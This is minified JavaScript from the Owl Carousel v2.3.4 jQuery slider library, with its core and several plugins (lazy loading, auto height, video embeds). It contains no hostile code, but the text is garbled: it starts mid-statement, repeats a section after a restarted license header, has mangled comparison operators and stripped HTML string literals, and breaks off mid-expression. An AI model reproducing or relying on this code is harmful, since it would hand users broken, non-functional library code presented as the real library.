this._plugins)this._plugins[d].destroy();this.$stage.children(".cloned").remove(),this.$stage.unwrap(),this.$stage.children().contents().unwrap(),this.$stage.children().unwrap(),this.$stage.remove(),this.$element.removeClass(this.options.refreshClass).removeClass(this.options.loadingClass).removeClass(this.options.loadedClass).removeClass(this.options.rtlClass).removeClass(this.options.dragClass).removeClass(this.options.grabClass).attr("class",this.$element.attr("class").replace(new RegExp(this.options.responsiveClass+"-\\S+\\s","g"),"")).removeData("owl.carousel")},e.prototype.op=function(a,b,c){var d=this.settings.rtl;switch(b){case"<":return d?a>c:a":return d?ac;case">=":return d?a<=c:a>=c;case"<=":return d?a>=c:a<=c}},e.prototype.on=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,d):a.attachEvent&&a.attachEvent("on"+b,c)},e.prototype.off=function(a,b,c,d){a.removeEventListener?a.removeEventListener(b,c,d):a.detachEvent&&a.detachEvent("on"+b,c)},e.prototype.trigger=function(b,c,d,f,g){var h={item:{count:this._items.length,index:this.current()}},i=a.camelCase(a.grep(["on",b,d],function(a){return a}).join("-").toLowerCase()),j=a.Event([b,"owl",d||"carousel"].join(".").toLowerCase(),a.extend({relatedTarget:this},h,c));return this._supress[b]||(a.each(this._plugins,function(a,b){b.onTrigger&&b.onTrigger(j)}),this.register({type:e.Type.Event,name:b}),this.$element.trigger(j),this.settings&&"function"==typeof this.settings[i]&&this.settings[i].call(this,j)),j},e.prototype.enter=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]===d&&(this._states.current[b]=0),this._states.current[b]++},this))},e.prototype.leave=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]--},this))},e.prototype.register=function(b){if(b.type===e.Type.Event){if(a.event.special[b.name]||(a.event.special[b.name]={}),!a.event.special[b.name].owl){var c=a.event.special[b.name]._default;a.event.special[b.name]._default=function(a){return!c||!c.apply||a.namespace&&-1!==a.namespace.indexOf("owl")?a.namespace&&a.namespace.indexOf("owl")>-1:c.apply(this,arguments)},a.event.special[b.name].owl=!0}}else b.type===e.Type.State&&(this._states.tags[b.name]?this._states.tags[b.name]=this._states.tags[b.name].concat(b.tags):this._states.tags[b.name]=b.tags,this._states.tags[b.name]=a.grep(this._states.tags[b.name],a.proxy(function(c,d){return a.inArray(c,this._states.tags[b.name])===d},this)))},e.prototype.suppress=function(b){a.each(b,a.proxy(function(a,b){this._supress[b]=!0},this))},e.prototype.release=function(b){a.each(b,a.proxy(function(a,b){delete this._supress[b]},this))},e.prototype.pointer=function(a){var c={x:null,y:null};return a=a.originalEvent||a||b.event,a=a.touches&&a.touches.length?a.touches[0]:a.changedTouches&&a.changedTouches.length?a.changedTouches[0]:a,a.pageX?(c.x=a.pageX,c.y=a.pageY):(c.x=a.clientX,c.y=a.clientY),c},e.prototype.isNumeric=function(a){return!isNaN(parseFloat(a))},e.prototype.difference=function(a,b){return{x:a.x-b.x,y:a.y-b.y}},a.fn.owlCarousel=function(b){var c=Array.prototype.slice.call(arguments,1);return this.each(function(){var d=a(this),f=d.data("owl.carousel");f||(f=new e(this,"object"==typeof b&&b),d.data("owl.carousel",f),a.each(["next","prev","to","destroy","refresh","replace","add","remove"],function(b,c){f.register({type:e.Type.Event,name:c}),f.$element.on(c+".owl.carousel.core",a.proxy(function(a){a.namespace&&a.relatedTarget!==this&&(this.suppress([c]),f[c].apply(this,[].slice.call(arguments,1)),this.release([c]))},f))})),"string"==typeof b&&"_"!==b.charAt(0)&&f[b].apply(f,c)})},a.fn.owlCarousel.Constructor=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._interval=null,this._visible=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoRefresh&&this.watch()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers)};e.Defaults={autoRefresh:!0,autoRefreshInterval:500},e.prototype.watch=function(){this._interval||(this._visible=this._core.isVisible(),this._interval=b.setInterval(a.proxy(this.refresh,this),this._core.settings.autoRefreshInterval))},e.prototype.refresh=function(){this._core.isVisible()!==this._visible&&(this._visible=!this._visible,this._core.$element.toggleClass("owl-hidden",!this._visible),this._visible&&this._core.invalidate("width")&&this._core.refresh())},e.prototype.destroy=function(){var a,c;b.clearInterval(this._interval);for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(c in Object.getOwnPropertyNames(this))"function"!=typeof this[c]&&(this[c]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoRefresh=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._loaded=[],this._handlers={"initialized.owl.carousel change.owl.carousel resized.owl.carousel":a.proxy(function(b){if(b.namespace&&this._core.settings&&this._core.settings.lazyLoad&&(b.property&&"position"==b.property.name||"initialized"==b.type)){var c=this._core.settings,e=c.center&&Math.ceil(c.items/2)||c.items,f=c.center&&-1*e||0,g=(b.property&&b.property.value!==d?b.property.value:this._core.current())+f,h=this._core.clones().length,i=a.proxy(function(a,b){this.load(b)},this);for(c.lazyLoadEager>0&&(e+=c.lazyLoadEager,c.loop&&(g-=c.lazyLoadEager,e++));f++-1||(e.each(a.proxy(function(c,d){var e,f=a(d),g=b.devicePixelRatio>1&&f.attr("data-src-retina")||f.attr("data-src")||f.attr("data-srcset");this._core.trigger("load",{element:f,url:g},"lazy"),f.is("img")?f.one("load.owl.lazy",a.proxy(function(){f.css("opacity",1),this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("src",g):f.is("source")?f.one("load.owl.lazy",a.proxy(function(){this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("srcset",g):(e=new Image,e.onload=a.proxy(function(){f.css({"background-image":'url("'+g+'")',opacity:"1"}),this._core.trigger("loaded",{element:f,url:g},"lazy")},this),e.src=g)},this)),this._loaded.push(d.get(0)))},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this._core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Lazy=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(c){this._core=c,this._previousHeight=null,this._handlers={"initialized.owl.carousel refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&this.update()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&"position"===a.property.name&&this.update()},this),"loaded.owl.lazy":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&a.element.closest("."+this._core.settings.itemClass).index()===this._core.current()&&this.update()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._intervalId=null;var d=this;a(b).on("load",function(){d._core.settings.autoHeight&&d.update()}),a(b).resize(function(){d._core.settings.autoHeight&&(null!=d._intervalId&&clearTimeout(d._intervalId),d._intervalId=setTimeout(function(){d.update()},250))})};e.Defaults={autoHeight:!1,autoHeightClass:"owl-height"},e.prototype.update=function(){var b=this._core._current,c=b+this._core.settings.items,d=this._core.settings.lazyLoad,e=this._core.$stage.children().toArray().slice(b,c),f=[],g=0;a.each(e,function(b,c){f.push(a(c).height())}),g=Math.max.apply(null,f),g<=1&&d&&this._previousHeight&&(g=this._previousHeight),this._previousHeight=g,this._core.$stage.parent().height(g).addClass(this._core.settings.autoHeightClass)},e.prototype.destroy=function(){var a,b;for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoHeight=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._videos={},this._playing=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.register({type:"state",name:"playing",tags:["interacting"]})},this),"resize.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.video&&this.isInFullScreen()&&a.preventDefault()},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.is("resizing")&&this._core.$stage.find(".cloned .owl-video-frame").remove()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"===a.property.name&&this._playing&&this.stop()},this),"prepared.owl.carousel":a.proxy(function(b){if(b.namespace){var c=a(b.content).find(".owl-video");c.length&&(c.css("display","none"),this.fetch(c,a(b.content)))}},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._core.$element.on("click.owl.video",".owl-video-play-icon",a.proxy(function(a){this.play(a)},this))};e.Defaults={video:!1,videoHeight:!1,videoWidth:!1},e.prototype.fetch=function(a,b){var c=function(){return a.attr("data-vimeo-id")?"vimeo":a.attr("data-vzaar-id")?"vzaar":"youtube"}(),d=a.attr("data-vimeo-id")||a.attr("data-youtube-id")||a.attr("data-vzaar-id"),e=a.attr("data-width")||this._core.settings.videoWidth,f=a.attr("data-height")||this._core.settings.videoHeight,g=a.attr("href");if(!g)throw new Error("Missing video URL.");if(d=g.match(/(http:|https:|)\/\/(player.|www.|app.)?(vimeo\.com|youtu(be\.com|\.be|be\.googleapis\.com|be\-nocookie\.com)|vzaar\.com)\/(video\/|videos\/|embed\/|channels\/.+\/|groups\/.+\/|watch\?v=|v\/)?([A-Za-z0-9._%-]*)(\&\S+)?/),d[3].indexOf("youtu")>-1)c="youtube";else if(d[3].indexOf("vimeo")>-1)c="vimeo";else{if(!(d[3].indexOf("vzaar")>-1))throw new Error("Video URL not supported.");c="vzaar"}d=d[6],this._videos[g]={type:c,id:d,width:e,height:f},b.attr("data-video",g),this.thumbnail(a,this._videos[g])},e.prototype.thumbnail=function(b,c){var d,e,f,g=c.width&&c.height?"width:"+c.width+"px;height:"+c.height+"px;":"",h=b.find("img"),i="src",j="",k=this._core.settings,l=function(c){e='
',d=k.lazyLoad?a("
",{class:"owl-video-tn "+j,srcType:c}):a("
",{class:"owl-video-tn",style:"opacity:1;background-image:url("+c+")"}),b.after(d),b.after(e)};if(b.wrap(a("
",{class:"owl-video-wrapper",style:g})),this._core.settings.lazyLoad&&(i="data-src",j="owl-lazy"),h.length)return l(h.attr(i)),h.remove(),!1;"youtube"===c.type?(f="//img.youtube.com/vi/"+c.id+"/hqdefault.jpg",l(f)):"vimeo"===c.type?a.ajax({type:"GET",url:"//vimeo.com/api/v2/video/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a[0].thumbnail_large,l(f)}}):"vzaar"===c.type&&a.ajax({type:"GET",url:"//vzaar.com/api/videos/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a.framegrab_url,l(f)}})},e.prototype.stop=function(){this._core.trigger("stop",null,"video"),this._playing.find(".owl-video-frame").remove(),this._playing.removeClass("owl-video-playing"),this._playing=null,this._core.leave("playing"),this._core.trigger("stopped",null,"video")},e.prototype.play=function(b){var c,d=a(b.target),e=d.closest("."+this._core.settings.itemClass),f=this._videos[e.attr("data-video")],g=f.width||"100%",h=f.height||this._core.$stage.height();this._playing||(this._core.enter("playing"),this._core.trigger("play",null,"video"),e=this._core.items(this._core.relative(e.index())),this._core.reset(e.index()),c=a(''),c.attr("height",h),c.attr("width",g),"youtube"===f.type?c.attr("src","//www.youtube.com/embed/"+f.id+"?autoplay=1&rel=0&v="+f.id):"vimeo"===f.type?c.attr("src","//player.vimeo.com/video/"+f.id+"?autoplay=1"):"vzaar"===f.type&&c.attr("src","//view.vzaar.com/"+f.id+"/player?autoplay=true"),a(c).wrap('
').insertAfter(e.find(".owl-video")),this._playing=e.addClass("owl-video-playing"))},e.prototype.isInFullScreen=function(){var b=c.fullscreenElement||c.mozFullScreenElement||c.webkitFullscreenElement;return b&&a(b).parent().hasClass("owl-video-frame")},e.prototype.destroy=function(){var a,b;this._core.$element.off("click.owl.video");for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Video=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this.core=b,this.core.options=a.extend({},e.Defaults,this.core.options),this.swapping=!0,this.previous=d,this.next=d,this.handlers={"change.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&(this.previous=this.core.current(),this.next=a.property.value)},this),"drag.owl.carousel dragged.owl.carousel translated.owl.carousel":a.proxy(function(a){a.namespace&&(this.swapping="translated"==a.type)},this),"translate.owl.carousel":a.proxy(function(a){a.namespace&&this.swapping&&(this.core.options.animateOut||this.core.options.animateIn)&&this.swap()},this)},this.core.$element.on(this.handlers)};e.Defaults={animateOut:!1, +/** + * Owl Carousel v2.3.4 + * Copyright 2013-2018 David Deutsch + * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE + */ +!function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({},e.Defaults,c),this.$element=a(b),this._handlers={},this._plugins={},this._supress={},this._current=null,this._speed=null,this._coordinates=[],this._breakpoint=null,this._width=null,this._items=[],this._clones=[],this._mergers=[],this._widths=[],this._invalidated={},this._pipe=[],this._drag={time:null,target:null,pointer:null,stage:{start:null,current:null},direction:null},this._states={current:{},tags:{initializing:["busy"],animating:["busy"],dragging:["interacting"]}},a.each(["onResize","onThrottledResize"],a.proxy(function(b,c){this._handlers[c]=a.proxy(this[c],this)},this)),a.each(e.Plugins,a.proxy(function(a,b){this._plugins[a.charAt(0).toLowerCase()+a.slice(1)]=new b(this)},this)),a.each(e.Workers,a.proxy(function(b,c){this._pipe.push({filter:c.filter,run:a.proxy(c.run,this)})},this)),this.setup(),this.initialize()}e.Defaults={items:3,loop:!1,center:!1,rewind:!1,checkVisibility:!0,mouseDrag:!0,touchDrag:!0,pullDrag:!0,freeDrag:!1,margin:0,stagePadding:0,merge:!1,mergeFit:!0,autoWidth:!1,startPosition:0,rtl:!1,smartSpeed:250,fluidSpeed:!1,dragEndSpeed:!1,responsive:{},responsiveRefreshRate:200,responsiveBaseElement:b,fallbackEasing:"swing",slideTransition:"",info:!1,nestedItemSelector:!1,itemElement:"div",stageElement:"div",refreshClass:"owl-refresh",loadedClass:"owl-loaded",loadingClass:"owl-loading",rtlClass:"owl-rtl",responsiveClass:"owl-responsive",dragClass:"owl-drag",itemClass:"owl-item",stageClass:"owl-stage",stageOuterClass:"owl-stage-outer",grabClass:"owl-grab"},e.Width={Default:"default",Inner:"inner",Outer:"outer"},e.Type={Event:"event",State:"state"},e.Plugins={},e.Workers=[{filter:["width","settings"],run:function(){this._width=this.$element.width()}},{filter:["width","items","settings"],run:function(a){a.current=this._items&&this._items[this.relative(this._current)]}},{filter:["items","settings"],run:function(){this.$stage.children(".cloned").remove()}},{filter:["width","items","settings"],run:function(a){var b=this.settings.margin||"",c=!this.settings.autoWidth,d=this.settings.rtl,e={width:"auto","margin-left":d?b:"","margin-right":d?"":b};!c&&this.$stage.children().css(e),a.css=e}},{filter:["width","items","settings"],run:function(a){var b=(this.width()/this.settings.items).toFixed(3)-this.settings.margin,c=null,d=this._items.length,e=!this.settings.autoWidth,f=[];for(a.items={merge:!1,width:b};d--;)c=this._mergers[d],c=this.settings.mergeFit&&Math.min(c,this.settings.items)||c,a.items.merge=c>1||a.items.merge,f[d]=e?b*c:this._items[d].width();this._widths=f}},{filter:["items","settings"],run:function(){var b=[],c=this._items,d=this.settings,e=Math.max(2*d.items,4),f=2*Math.ceil(c.length/2),g=d.loop&&c.length?d.rewind?e:Math.max(e,f):0,h="",i="";for(g/=2;g>0;)b.push(this.normalize(b.length/2,!0)),h+=c[b[b.length-1]][0].outerHTML,b.push(this.normalize(c.length-1-(b.length-1)/2,!0)),i=c[b[b.length-1]][0].outerHTML+i,g-=1;this._clones=b,a(h).addClass("cloned").appendTo(this.$stage),a(i).addClass("cloned").prependTo(this.$stage)}},{filter:["width","items","settings"],run:function(){for(var a=this.settings.rtl?1:-1,b=this._clones.length+this._items.length,c=-1,d=0,e=0,f=[];++c",h)||this.op(b,"<",g)&&this.op(b,">",h))&&i.push(c);this.$stage.children(".active").removeClass("active"),this.$stage.children(":eq("+i.join("), :eq(")+")").addClass("active"),this.$stage.children(".center").removeClass("center"),this.settings.center&&this.$stage.children().eq(this.current()).addClass("center")}}],e.prototype.initializeStage=function(){this.$stage=this.$element.find("."+this.settings.stageClass),this.$stage.length||(this.$element.addClass(this.options.loadingClass),this.$stage=a("<"+this.settings.stageElement+">",{class:this.settings.stageClass}).wrap(a("
",{class:this.settings.stageOuterClass})),this.$element.append(this.$stage.parent()))},e.prototype.initializeItems=function(){var b=this.$element.find(".owl-item");if(b.length)return this._items=b.get().map(function(b){return a(b)}),this._mergers=this._items.map(function(){return 1}),void this.refresh();this.replace(this.$element.children().not(this.$stage.parent())),this.isVisible()?this.refresh():this.invalidate("width"),this.$element.removeClass(this.options.loadingClass).addClass(this.options.loadedClass)},e.prototype.initialize=function(){if(this.enter("initializing"),this.trigger("initialize"),this.$element.toggleClass(this.settings.rtlClass,this.settings.rtl),this.settings.autoWidth&&!this.is("pre-loading")){var a,b,c;a=this.$element.find("img"),b=this.settings.nestedItemSelector?"."+this.settings.nestedItemSelector:d,c=this.$element.children(b).width(),a.length&&c<=0&&this.preloadAutoWidthImages(a)}this.initializeStage(),this.initializeItems(),this.registerEventHandlers(),this.leave("initializing"),this.trigger("initialized")},e.prototype.isVisible=function(){return!this.settings.checkVisibility||this.$element.is(":visible")},e.prototype.setup=function(){var b=this.viewport(),c=this.options.responsive,d=-1,e=null;c?(a.each(c,function(a){a<=b&&a>d&&(d=Number(a))}),e=a.extend({},this.options,c[d]),"function"==typeof e.stagePadding&&(e.stagePadding=e.stagePadding()),delete e.responsive,e.responsiveClass&&this.$element.attr("class",this.$element.attr("class").replace(new RegExp("("+this.options.responsiveClass+"-)\\S+\\s","g"),"$1"+d))):e=a.extend({},this.options),this.trigger("change",{property:{name:"settings",value:e}}),this._breakpoint=d,this.settings=e,this.invalidate("settings"),this.trigger("changed",{property:{name:"settings",value:this.settings}})},e.prototype.optionsLogic=function(){this.settings.autoWidth&&(this.settings.stagePadding=!1,this.settings.merge=!1)},e.prototype.prepare=function(b){var c=this.trigger("prepare",{content:b});return c.data||(c.data=a("<"+this.settings.itemElement+"/>").addClass(this.options.itemClass).append(b)),this.trigger("prepared",{content:c.data}),c.data},e.prototype.update=function(){for(var b=0,c=this._pipe.length,d=a.proxy(function(a){return this[a]},this._invalidated),e={};b0)&&this._pipe[b].run(e),b++;this._invalidated={},!this.is("valid")&&this.enter("valid")},e.prototype.width=function(a){switch(a=a||e.Width.Default){case e.Width.Inner:case e.Width.Outer:return this._width;default:return this._width-2*this.settings.stagePadding+this.settings.margin}},e.prototype.refresh=function(){this.enter("refreshing"),this.trigger("refresh"),this.setup(),this.optionsLogic(),this.$element.addClass(this.options.refreshClass),this.update(),this.$element.removeClass(this.options.refreshClass),this.leave("refreshing"),this.trigger("refreshed")},e.prototype.onThrottledResize=function(){b.clearTimeout(this.resizeTimer),this.resizeTimer=b.setTimeout(this._handlers.onResize,this.settings.responsiveRefreshRate)},e.prototype.onResize=function(){return!!this._items.length&&(this._width!==this.$element.width()&&(!!this.isVisible()&&(this.enter("resizing"),this.trigger("resize").isDefaultPrevented()?(this.leave("resizing"),!1):(this.invalidate("width"),this.refresh(),this.leave("resizing"),void this.trigger("resized")))))},e.prototype.registerEventHandlers=function(){a.support.transition&&this.$stage.on(a.support.transition.end+".owl.core",a.proxy(this.onTransitionEnd,this)),!1!==this.settings.responsive&&this.on(b,"resize",this._handlers.onThrottledResize),this.settings.mouseDrag&&(this.$element.addClass(this.options.dragClass),this.$stage.on("mousedown.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("dragstart.owl.core selectstart.owl.core",function(){return!1})),this.settings.touchDrag&&(this.$stage.on("touchstart.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("touchcancel.owl.core",a.proxy(this.onDragEnd,this)))},e.prototype.onDragStart=function(b){var d=null;3!==b.which&&(a.support.transform?(d=this.$stage.css("transform").replace(/.*\(|\)| /g,"").split(","),d={x:d[16===d.length?12:4],y:d[16===d.length?13:5]}):(d=this.$stage.position(),d={x:this.settings.rtl?d.left+this.$stage.width()-this.width()+this.settings.margin:d.left,y:d.top}),this.is("animating")&&(a.support.transform?this.animate(d.x):this.$stage.stop(),this.invalidate("position")),this.$element.toggleClass(this.options.grabClass,"mousedown"===b.type),this.speed(0),this._drag.time=(new Date).getTime(),this._drag.target=a(b.target),this._drag.stage.start=d,this._drag.stage.current=d,this._drag.pointer=this.pointer(b),a(c).on("mouseup.owl.core touchend.owl.core",a.proxy(this.onDragEnd,this)),a(c).one("mousemove.owl.core touchmove.owl.core",a.proxy(function(b){var d=this.difference(this._drag.pointer,this.pointer(b));a(c).on("mousemove.owl.core touchmove.owl.core",a.proxy(this.onDragMove,this)),Math.abs(d.x)0^this.settings.rtl?"left":"right";a(c).off(".owl.core"),this.$element.removeClass(this.options.grabClass),(0!==d.x&&this.is("dragging")||!this.is("valid"))&&(this.speed(this.settings.dragEndSpeed||this.settings.smartSpeed),this.current(this.closest(e.x,0!==d.x?f:this._drag.direction)),this.invalidate("position"),this.update(),this._drag.direction=f,(Math.abs(d.x)>3||(new Date).getTime()-this._drag.time>300)&&this._drag.target.one("click.owl.core",function(){return!1})),this.is("dragging")&&(this.leave("dragging"),this.trigger("dragged"))},e.prototype.closest=function(b,c){var e=-1,f=30,g=this.width(),h=this.coordinates();return this.settings.freeDrag||a.each(h,a.proxy(function(a,i){return"left"===c&&b>i-f&&bi-g-f&&b",h[a+1]!==d?h[a+1]:i-g)&&(e="left"===c?a+1:a),-1===e},this)),this.settings.loop||(this.op(b,">",h[this.minimum()])?e=b=this.minimum():this.op(b,"<",h[this.maximum()])&&(e=b=this.maximum())),e},e.prototype.animate=function(b){var c=this.speed()>0;this.is("animating")&&this.onTransitionEnd(),c&&(this.enter("animating"),this.trigger("translate")),a.support.transform3d&&a.support.transition?this.$stage.css({transform:"translate3d("+b+"px,0px,0px)",transition:this.speed()/1e3+"s"+(this.settings.slideTransition?" "+this.settings.slideTransition:"")}):c?this.$stage.animate({left:b+"px"},this.speed(),this.settings.fallbackEasing,a.proxy(this.onTransitionEnd,this)):this.$stage.css({left:b+"px"})},e.prototype.is=function(a){return this._states.current[a]&&this._states.current[a]>0},e.prototype.current=function(a){if(a===d)return this._current;if(0===this._items.length)return d;if(a=this.normalize(a),this._current!==a){var b=this.trigger("change",{property:{name:"position",value:a}});b.data!==d&&(a=this.normalize(b.data)),this._current=a,this.invalidate("position"),this.trigger("changed",{property:{name:"position",value:this._current}})}return this._current},e.prototype.invalidate=function(b){return"string"===a.type(b)&&(this._invalidated[b]=!0,this.is("valid")&&this.leave("valid")),a.map(this._invalidated,function(a,b){return b})},e.prototype.reset=function(a){(a=this.normalize(a))!==d&&(this._speed=0,this._current=a,this.suppress(["translate","translated"]),this.animate(this.coordinates(a)),this.release(["translate","translated"]))},e.prototype.normalize=function(a,b){var c=this._items.length,e=b?0:this._clones.length;return!this.isNumeric(a)||c<1?a=d:(a<0||a>=c+e)&&(a=((a-e/2)%c+c)%c+e/2),a},e.prototype.relative=function(a){return a-=this._clones.length/2,this.normalize(a,!0)},e.prototype.maximum=function(a){var b,c,d,e=this.settings,f=this._coordinates.length;if(e.loop)f=this._clones.length/2+this._items.length-1;else if(e.autoWidth||e.merge){if(b=this._items.length)for(c=this._items[--b].width(),d=this.$element.width();b--&&!((c+=this._items[b].width()+this.settings.margin)>d););f=b+1}else f=e.center?this._items.length-1:this._items.length-e.items;return a&&(f-=this._clones.length/2),Math.max(f,0)},e.prototype.minimum=function(a){return a?0:this._clones.length/2},e.prototype.items=function(a){return a===d?this._items.slice():(a=this.normalize(a,!0),this._items[a])},e.prototype.mergers=function(a){return a===d?this._mergers.slice():(a=this.normalize(a,!0),this._mergers[a])},e.prototype.clones=function(b){var c=this._clones.length/2,e=c+this._items.length,f=function(a){return a%2==0?e+a/2:c-(a+1)/2};return b===d?a.map(this._clones,function(a,b){return f(b)}):a.map(this._clones,function(a,c){return a===b?f(c):null})},e.prototype.speed=function(a){return a!==d&&(this._speed=a),this._speed},e.prototype.coordinates=function(b){var c,e=1,f=b-1;return b===d?a.map(this._coordinates,a.proxy(function(a,b){return this.coordinates(b)},this)):(this.settings.center?(this.settings.rtl&&(e=-1,f=b+1),c=this._coordinates[b],c+=(this.width()-c+(this._coordinates[f]||0))/2*e):c=this._coordinates[f]||0,c=Math.ceil(c))},e.prototype.duration=function(a,b,c){return 0===c?0:Math.min(Math.max(Math.abs(b-a),1),6)*Math.abs(c||this.settings.smartSpeed)},e.prototype.to=function(a,b){var c=this.current(),d=null,e=a-this.relative(c),f=(e>0)-(e<0),g=this._items.length,h=this.minimum(),i=this.maximum();this.settings.loop?(!this.settings.rewind&&Math.abs(e)>g/2&&(e+=-1*f*g),a=c+e,(d=((a-h)%g+g)%g+h)!==a&&d-e<=i&&d-e>0&&(c=d-e,a=d,this.reset(c))):this.settings.rewind?(i+=1,a=(a%i+i)%i):a=Math.max(h,Math.min(i,a)),this.speed(this.duration(c,a,b)),this.current(a),this.isVisible()&&this.update()},e.prototype.next=function(a){a=a||!1,this.to(this.relative(this.current())+1,a)},e.prototype.prev=function(a){a=a||!1,this.to(this.relative(this.current())-1,a)},e.prototype.onTransitionEnd=function(a){if(a!==d&&(a.stopPropagation(),(a.target||a.srcElement||a.originalTarget)!==this.$stage.get(0)))return!1;this.leave("animating"),this.trigger("translated")},e.prototype.viewport=function(){var d;return this.options.responsiveBaseElement!==b?d=a(this.options.responsiveBaseElement).width():b.innerWidth?d=b.innerWidth:c.documentElement&&c.documentElement.clientWidth?d=c.documentElement.clientWidth:console.warn("Can not detect viewport width."),d},e.prototype.replace=function(b){this.$stage.empty(),this._items=[],b&&(b=b instanceof jQuery?b:a(b)),this.settings.nestedItemSelector&&(b=b.find("."+this.settings.nestedItemSelector)),b.filter(function(){return 1===this.nodeType}).each(a.proxy(function(a,b){b=this.prepare(b),this.$stage.append(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)},this)),this.reset(this.isNumeric(this.settings.startPosition)?this.settings.startPosition:0),this.invalidate("items")},e.prototype.add=function(b,c){var e=this.relative(this._current);c=c===d?this._items.length:this.normalize(c,!0),b=b instanceof jQuery?b:a(b),this.trigger("add",{content:b,position:c}),b=this.prepare(b),0===this._items.length||c===this._items.length?(0===this._items.length&&this.$stage.append(b),0!==this._items.length&&this._items[c-1].after(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)):(this._items[c].before(b),this._items.splice(c,0,b),this._mergers.splice(c,0,1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)),this._items[e]&&this.reset(this._items[e].index()),this.invalidate("items"),this.trigger("added",{content:b,position:c})},e.prototype.remove=function(a){(a=this.normalize(a,!0))!==d&&(this.trigger("remove",{content:this._items[a],position:a}),this._items[a].remove(),this._items.splice(a,1),this._mergers.splice(a,1),this.invalidate("items"),this.trigger("removed",{content:null,position:a}))},e.prototype.preloadAutoWidthImages=function(b){b.each(a.proxy(function(b,c){this.enter("pre-loading"),c=a(c),a(new Image).one("load",a.proxy(function(a){c.attr("src",a.target.src),c.css("opacity",1),this.leave("pre-loading"),!this.is("pre-loading")&&!this.is("initializing")&&this.refresh()},this)).attr("src",c.attr("src")||c.attr("data-src")||c.attr("data-src-retina"))},this))},e.prototype.destroy=function(){this.$element.off(".owl.core"),this.$stage.off(".owl.core"),a(c).off(".owl.core"),!1!==this.settings.responsive&&(b.clearTimeout(this.resizeTimer),this.off(b,"resize",this._handlers.onThrottledResize));for(var d in this._plugins)this._plugins[d].destroy();this.$stage.children(".cloned").remove(),this.$stage.unwrap(),this.$stage.children().contents().unwrap(),this.$stage.children().unwrap(),this.$stage.remove(),this.$element.removeClass(this.options.refreshClass).removeClass(this.options.loadingClass).removeClass(this.options.loadedClass).removeClass(this.options.rtlClass).removeClass(this.options.dragClass).removeClass(this.options.grabClass).attr("class",this.$element.attr("class").replace(new RegExp(this.options.responsiveClass+"-\\S+\\s","g"),"")).removeData("owl.carousel")},e.prototype.op=function(a,b,c){var d=this.settings.rtl;switch(b){case"<":return d?a>c:a":return d?ac;case">=":return d?a<=c:a>=c;case"<=":return d?a>=c:a<=c}},e.prototype.on=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,d):a.attachEvent&&a.attachEvent("on"+b,c)},e.prototype.off=function(a,b,c,d){a.removeEventListener?a.removeEventListener(b,c,d):a.detachEvent&&a.detachEvent("on"+b,c)},e.prototype.trigger=function(b,c,d,f,g){var h={item:{count:this._items.length,index:this.current()}},i=a.camelCase(a.grep(["on",b,d],function(a){return a}).join("-").toLowerCase()),j=a.Event([b,"owl",d||"carousel"].join(".").toLowerCase(),a.extend({relatedTarget:this},h,c));return this._supress[b]||(a.each(this._plugins,function(a,b){b.onTrigger&&b.onTrigger(j)}),this.register({type:e.Type.Event,name:b}),this.$element.trigger(j),this.settings&&"function"==typeof this.settings[i]&&this.settings[i].call(this,j)),j},e.prototype.enter=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]===d&&(this._states.current[b]=0),this._states.current[b]++},this))},e.prototype.leave=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]--},this))},e.prototype.register=function(b){if(b.type===e.Type.Event){if(a.event.special[b.name]||(a.event.special[b.name]={}),!a.event.special[b.name].owl){var 